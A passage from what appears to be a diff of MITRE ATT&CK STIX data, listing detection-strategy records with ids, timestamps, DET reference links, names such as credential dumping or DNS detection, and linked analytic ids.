"x-mitre-detection-strategy--38ea871a-2cae-4274-85a6-c80588166cfb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0855", + "external_id": "DET0855" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Business Relationships", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--058452ee-f484-4e2f-b2ad-d562e34847fb" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--eda2c394-d2de-4555-be9d-b4de826441ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0809", + "external_id": "DET0809" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of CDNs", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--888e8587-e490-4509-9226-e72b32466618" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--90b5ad4f-44bf-46e2-ac66-6e81e573e3fb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0513", + "external_id": "DET0513" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Cached Domain Credential Dumping via Local Hash Cache Access", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--18ba26d6-08e0-4370-8ef0-b2dd73bfe0b3", + "x-mitre-analytic--26940057-e464-49f9-8f76-ceaca4b9d982" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--87cb2c80-54e1-4ea1-abd7-81a096eb155e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0820", + "external_id": "DET0820" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Client Configurations", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3d01d29d-30f1-4b3b-bf04-54aca340a8eb" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1f7b4b6e-17ab-446f-ac4e-5a1e79569dd3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0846", + "external_id": "DET0846" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Cloud Accounts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--97ec7ade-18b7-43b7-b267-85470862b6ac" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--df374bac-bd69-4351-be3f-1bd863c429ad", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0879", + "external_id": "DET0879" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Cloud Accounts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--cce3f1e3-a688-4519-bd9b-0ec5ba57bc11" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e2bf0a76-b5e4-4a23-adbb-024454f5dbdc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0291", + "external_id": "DET0291" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Cloud Service Dashboard Usage via GUI-Based Cloud Access", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c8a50f3f-105a-4107-9781-a3d75479e93d", + "x-mitre-analytic--041c0b93-fda4-478f-b847-d10619db729c", + "x-mitre-analytic--a0bfcae2-1936-466d-91b4-f72fcae730b6", + "x-mitre-analytic--d3e3ed48-7402-40df-a6cc-db9b560bcfd1" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9f2af07f-ef27-4737-b262-a8862faebffa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0805", + "external_id": "DET0805" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Code Repositories", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3b25198c-e31d-4e0c-9d26-eb8e714c71a8" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1e8c8a62-9546-4323-a561-83e9fad94fa0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0875", + "external_id": "DET0875" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Code Signing Certificates", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--23b9c988-be01-4092-b9c4-0ddec8d58891" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c8a4587f-6fa1-4a94-844b-ee731f1c33be", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0833", + "external_id": "DET0833" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Code Signing Certificates", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0922c3e9-26fb-4330-8d7a-2b9a4661db88" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--155cab5b-c70b-4cfb-ba52-f62a21836b19", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0444", + "external_id": "DET0444" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Command and Control Over Application Layer Protocols", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--908aa2d1-f1c0-456b-9c9f-b984b309e51c", + "x-mitre-analytic--989a524f-cf9a-4fcc-a21f-ac5aac46f0ed", + "x-mitre-analytic--c2b959ca-75f4-4291-9812-0b065e7bb395", + "x-mitre-analytic--c5117811-b262-4920-90d9-001d25b6305b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a1d413d7-0a28-45ce-9e4d-d250b4b6a492", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0876", + "external_id": "DET0876" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Compromise Accounts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--44001c2d-9832-4b2d-b3ac-a25cea93e03f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7f3e2c35-7394-4cc6-baef-73a830930953", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0885", + "external_id": "DET0885" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Compromise Infrastructure", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--816aaddd-dc6d-49da-8ecd-8afde6278181" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--793c70fb-bc7a-4a77-95aa-7b0c583f10b4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0363", + "external_id": "DET0363" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Credential Dumping from LSASS Memory via Access and Dump Sequence", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--2b0dd3b6-6949-4dd5-b0dd-7b0b6f431dbe" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d918611a-9d07-4f8b-b70e-2fe1c2f75faf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0139", + "external_id": "DET0139" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Credential Harvesting via API Hooking", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--89e3c3a3-249e-4af3-8885-92c228d88b02", + "x-mitre-analytic--c031c27b-4d05-406a-8538-04ce1df41d35", + "x-mitre-analytic--b8141218-1f71-4b65-a611-7c9c55038c4c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8b2a91cd-4a15-4b25-9b75-581298f3ef82", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0480", + "external_id": "DET0480" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Credential Harvesting via Web Portal Modification", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5233d621-6658-4338-b183-01bd73e52861", + "x-mitre-analytic--4f33b538-1370-4df1-934f-fe3a609453fb", + "x-mitre-analytic--564071d9-44b1-44b8-92c0-348e22e544b7" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--500c6151-e3d6-4c3e-8d46-6e58df27f497", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0813", + "external_id": "DET0813" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Credentials", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--fed95f58-2b3a-46c5-a4b1-a3d378d036cb" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3058b630-ede1-4bbb-b8ce-985d802e1e8d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0843", + "external_id": "DET0843" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of DNS", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e9808ca9-3019-4395-b2d8-717f5d4863fe" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6a5e5149-9118-44e1-8933-0d2a8839df3a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0891", + "external_id": "DET0891" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of DNS Server", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9eb9a81f-cf55-48f8-a8da-217a7684aff4" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a1757dd9-9abb-4fd1-a06d-6cbfd80d77e9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0862", + "external_id": "DET0862" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of DNS Server", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4e469a08-db8b-49c1-8bf6-f76ffa21860f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e7b468e8-3b2c-43ea-aabb-e8ba993bd7ae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0877", + "external_id": "DET0877" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of DNS/Passive DNS", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--cf66582f-6fa3-4d3b-a322-95c2af08b49b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a5800f15-f024-4701-912a-20d7e1cb465a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0511", + "external_id": "DET0511" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Data Access and Collection from Removable Media", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4385bff9-e730-48cd-bdfc-43de56c302aa", + "x-mitre-analytic--5312ddd0-dd58-4bcb-afc0-7a05a6b2df42", + "x-mitre-analytic--9abfb75c-2051-4549-b458-f09c4e6f4ad3" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c54fdf95-c7ac-4ca4-bd99-273e56da20a5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0146", + "external_id": "DET0146" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Data Destruction Across Platforms via Mass Overwrite and Deletion Patterns", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--791dfdd4-b04d-498a-accc-ee9e2acc7b14", + "x-mitre-analytic--839d7053-fc62-433a-8eb2-ed87605160f7", + "x-mitre-analytic--5e1b310a-ce3d-4271-83e0-87cd2862f959", + "x-mitre-analytic--c6f35e44-459c-456b-97a7-997eb2baefb9", + "x-mitre-analytic--9ea1e329-691a-43a7-b56d-affbc00fb9e7", + "x-mitre-analytic--7735a0b1-f3bc-44fc-a909-75738e77bded" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7ac4c58e-73de-4da1-8fc3-c2ccc511d884", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0123", + "external_id": "DET0123" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Data Exfiltration via Removable Media", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--198d4196-25f0-4e28-a95b-c89709f452ab", + "x-mitre-analytic--4e288214-93b3-48a7-b51e-2b0136db8540", + "x-mitre-analytic--acaabb0b-6cfc-45cd-8bd9-08ad49e1096c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--11f7fa69-2da4-4280-90d2-abc2f0722683", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0014", + "external_id": "DET0014" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Data Staging Prior to Exfiltration", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7cb2010a-e502-4117-94f3-fa3bd8d64a34", + "x-mitre-analytic--e9ee76c8-e959-4925-8f93-4b8fb66bc9f1", + "x-mitre-analytic--313de6ca-629b-4f77-b58f-5cf7b490a62e", + "x-mitre-analytic--e622500c-4217-466c-955c-82ef3217653a", + "x-mitre-analytic--e59e2d8c-20cb-4a77-9d8b-1d838b01bd87" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--cff5ca37-cc4a-431c-b481-d0ccabbf6980", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0465", + "external_id": "DET0465" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Default Account Abuse Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7a3dd710-39a7-4327-8d3b-150c50b2c680", + "x-mitre-analytic--c804a181-f0be-41dd-81ce-95e0a3e5245d", + "x-mitre-analytic--a8ed4e86-c79a-40db-84e5-1b4cf0e917d3", + "x-mitre-analytic--96fe3582-b1a3-40e4-9e9d-bab764f2af7e", + "x-mitre-analytic--305b6a70-6d5b-4b32-a40b-ae0cae342e62" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--59dd7be2-7f37-4b8c-a1a7-3ed71d37cac8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0806", + "external_id": "DET0806" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Determine Physical Locations", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--cf5aa9ca-0f1b-4707-94af-484228fd6199" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": 